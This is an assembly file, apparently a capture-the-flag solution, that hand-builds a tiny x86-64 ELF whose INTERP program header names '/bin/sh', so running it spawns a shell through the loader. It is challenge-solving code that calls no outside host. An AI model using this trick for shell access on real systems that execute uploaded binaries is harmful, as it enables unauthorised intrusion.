/..

#CONTENT

#TOP

solve.asm
TEXT
base equ 0x200000
ehdrsz equ 0x40
phdrsz equ 0x38

header:
    .ident: db 0x7f, "ELF"
    .class: db 0x02
    .data: db 0x01
    .ver: db 0x01
    .osabi: db 0x00
    .abiversion: db 0x00
    .pad: times 7 db 0

    .type: dw 0x02
    .machine: dw 0x3e
    .version: dd 1
    .entry: dq base
    .phoff: dq 0x40
    .shoff: dq 0
    .flags: dd 0
    .ehsize: dw ehdrsz
    .phentsize: dw phdrsz
    .phnum: dw 3
    .shentsize: dw 0x40
    .shnum: dw 0
    .shstrndx: dw 0

self:
    .type: dd 0x06
    .flags: dd 4
    .offset: dq self
    .vaddr: dq base + self
    .paddr: dq 0
    .filesz: dq phdrsz * 3
    .memsz: dq phdrsz * 3
    .align: dq 0

load:
    .type: dd 0x01
    .flags: dd 6
    .offset: dq 0
    .vaddr: dq base
    .paddr: dq 0
    .filesz: dq ehdrsz + phdrsz * 3
    .memsz: dq ehdrsz + phdrsz * 3
    .align: dq 0

interp:
    .type: dd 0x03
    .flags: dd 4
    .offset: dq linker
    .vaddr: dq base + interp
    .paddr: dq 0
    .filesz: dq linker_len
    .memsz: dq linker_len
    .align: dq 0

linker:
    db "/bin/sh", 0
linker_len equ $ - linker